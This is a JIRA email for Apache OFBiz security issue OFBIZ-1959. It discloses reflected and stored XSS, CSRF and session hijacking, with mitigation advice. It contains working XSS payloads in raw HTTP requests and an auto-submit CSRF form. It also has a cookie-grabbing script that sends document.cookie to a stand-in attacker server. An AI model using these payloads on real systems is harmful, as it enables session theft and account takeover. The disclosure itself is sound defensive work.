[ 
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572
 ] 

euronymous edited comment on OFBIZ-1959 at 2/18/09 3:14 AM:
--------------------------------------------------------------

Hi David, Hi Jaques.

I'm analyzing your patches and how you've integrated esapi and antisamy in 
Ofbiz.

I really like the way you implemented it: clear, concise and sussefull...except 
for an XSS issue that I can still find.
Ecommerce seem to be "virtually invulnerable" to XSS now.

The problem I mentioned is relative to partymgr.

If I log in to the party application, the I search a party, the flow is 
directed on viewprofile. The partyId parameter is still vulnerable to 
reflected XSS: basiacally it is escaping HTML but not in the good way.

--- REQUEST ---

GET /partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT> 
HTTP/1.1

Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) 
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/findparty
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; 
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; 
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; 
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; 
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin



--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is 
used to create links ton other resources...thus closing the tag and then 
re-opening another one with <script>..</script> causes this, as you can see 
from the following excerpt.

[...]
<!-- Begin Menu Widget 
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
<div class="button-bar tab-bar no-clear">
<ul>
<li>
 <ul>
  <li class="selected "><a 
href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>
  <li><a 
href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>
  <li><a 
href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>
  <li><a 
href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link
 Party</a></li>
  <li><a 
href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>
  <li><a 
href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>
  <li><a 
href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax
 Infos</a></li>
  <li><a 
href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>
  <li><a 
href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping
 Lists</a></li>
  <li><a 
href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>
  <li><a 
href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>
  <li><a 
href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact
 Lists</a></li>
  <li><a 
href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party
 Content</a></li>
  <li><a 
href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party
 Skills</a></li>
  <li><a 
href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>
  <li><a 
href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>
  <li><a 
href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment
 Applications</a></li>
  <li><a 
href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin.
 History</a></li>
  <li><a 
href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>
 </ul>
 <br class="clear"/>
</li>
</ul>
</div>
<!-- End Menu Widget 
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]

I'm gonna debug a little bit to understand why...Anyway I don't think that is a 
problem of the filter, because I didn't use any evasion techniques (just a few 
random chars in Lower case instead of Upper case, but I don't think it is the 
problem), and the attack vector is trivial.

(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( ahah )


Speaking about XSRF, clearly has not been fixed, and is possible even without 
XSS of course. 
just try to swend the following request, after authentication, changing the 
UserAgent (so your browser):

try to change with this: Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1

POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) 
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; 
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; 
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; 
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; 
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509

salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED


It will work because there aren't any random token appended to the POST request.
But you already know that, as Session Management protections.


Have a good developing time guys

Michele OrrĂ¹


      was (Author: euronymous):
    Hi David, Hi Jaques.

I'm analyzing your patches and how you've integrated esapi and antisamy in 
Ofbiz.

I really like the way you implemented it: clear, concise and sussefull...except 
for an XSS issue that I can still find.
Ecommerce seemd "virtually invuylnerable" to XSS now.

The problem I mentioned is relative to partymgr.

If I log in to the party application, the I search a party, the flow is 
directed on viewprofile. The partyId parameter is still vulnerable to 
reflected XSS: basiacally it is escaping HTML but not in the good way.

--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><script>alert(6)</script> 
HTTP/1.1

Host: localhost:8443

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) 
Gecko/2009010711 Gentoo Firefox/3.0.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: https://localhost:8443/partymgr/control/findparty

Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; 
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; 
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; 
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; 
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin



--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is 
used to create links ton other resources...thus closing the tag and then 
re-opening another one with <script>..</script> causes this, as you can see 
from the following excerpt.

[...]
<!-- Begin Menu Widget 
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->

<div class="button-bar tab-bar no-clear">

<ul>

<li>

 <ul>

  <li class="selected "><a 
href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>

  <li><a 
href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>

  <li><a 
href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>

  <li><a 
href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link
 Party</a></li>

  <li><a 
href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>

  <li><a 
href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>

  <li><a 
href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax
 Infos</a></li>

  <li><a 
href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>

  <li><a 
href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping
 Lists</a></li>

  <li><a 
href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>

  <li><a 
href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>

  <li><a 
href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact
 Lists</a></li>

  <li><a 
href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party
 Content</a></li>

  <li><a 
href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party
 Skills</a></li>

  <li><a 
href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>

  <li><a 
href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>

  <li><a 
href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment
 Applications</a></li>

  <li><a 
href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin.
 History</a></li>

  <li><a 
href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>

 </ul>

 <br class="clear"/>

</li>

</ul>

</div>

<!-- End Menu Widget 
component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]

I'm gonna debug a little bit to understand why...
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( )

Have a good developing time guys

P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of 
course. 
just try to swend the following request, after authentication, changing the 
UserAgent (so your browser):

try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1

POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) 
Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; 
deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; 
OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; 
warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; 
ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509

salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED


It will work because there aren't any random token appended to the POST request.
But you already know that I think, as Session Management protections.

Michele OrrĂ¹

  
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and 
> mitigation
> ------------------------------------------------------------------------------------
>
>                 Key: OFBIZ-1959
>                 URL: https://issues.apache.org/jira/browse/OFBIZ-1959
>             Project: OFBiz
>          Issue Type: Bug
>          Components: ALL COMPONENTS
>    Affects Versions: SVN trunk
>            Reporter: Michele Orru
>            Priority: Critical
>             Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security 
> issues|||+++++++++++++++++++++++++
>       
>       1.: Cross Site Request Forgery (XSRF) on almost every front/back-end 
> requests
>       2.: reflected/stored XSS in search, ProductId/Product Internal name and 
> so on
>       3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST 
> request
> parameters are never "fortified" to prevent XSRF: no random token protection 
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the 
> attacker, force you (the victim)
> to executes. 
>  - In GET requests it will be a link like 
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one. 
>  - In POST requests it will be an auto-submit form or a XMLHttpRequest 
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose 
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the 
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following 
> innocuous one:
>       
>       <form method="POST" id="xsrf" name="xsrf" 
>                  
> action="https://127.0.0.1:8443/catalog/control/createProduct";> 
>               <input type=hidden name="isCreate" value="true"> 
>               <input type=hidden name="productId" value="hack02">
>               <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
>               <input type=hidden name="internalName" value="hack02">
>        </form>  
>       <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, 
> content and ProductName), 
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of 
> the same browser - not Chrome ahah), 
> his content will be automatically executed and the POST request will be sent 
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in 
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the 
> browser.  
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some 
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a 
> needed
> parameter is quite un-useful and so prone to store our malicious code) with 
> something 
> like:
>       
>               <input type=hidden name="internalName"
>                                       
> value="<script>alert(document.cookie)</script>">
>                                       
> The malicious code will display every cookie information in a pop-up, that 
> only the victim 
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET 
> request from 
> our victims, extract the useful parameters and store them in a file or DB, in 
> a way
> that wen can hijack the session of the admin/manager.
>       
> The internalName value is prone to store our malicious code also because his 
> maxlength 
> is 255 characters: this gives us a great advantage when creating a complex 
> injection code, 
> if we don't want to inject a link to the malicious script like 
> <img src="http://x.x.x.x/malicious.js";>
>       
> The malicious code will look as the following one:
>       
> <script> 
> var 
> str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
>  
>       if(document.cookie.indexOf("done")<0)\{ 
>              document.cookie="done=true";
>              document.location.replace(str); 
>       }
> </script> 
>       
> Of course the code can be a lot shorter, and the "already-exploited-check" 
> can be removed.
>       
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL 
> (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid 
> credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new 
> cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value 
> with the grabbed 
> one, and we make the previous request another time (just refresh on the login 
> page), then
> we are riding the same victim session. If we are lucky and it's an admin, we 
> can do 
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
>  - Infrastructure: a web application firewall like ModSecurity can be 
> deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will 
> mitigate XSS and Session Hijacking.
>  - Application: 
> XSS--> input validation on form parameters and GET/POST request values must 
> be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI 
> project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add 
> to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the 
> algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!

-- 
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.

Reply via email to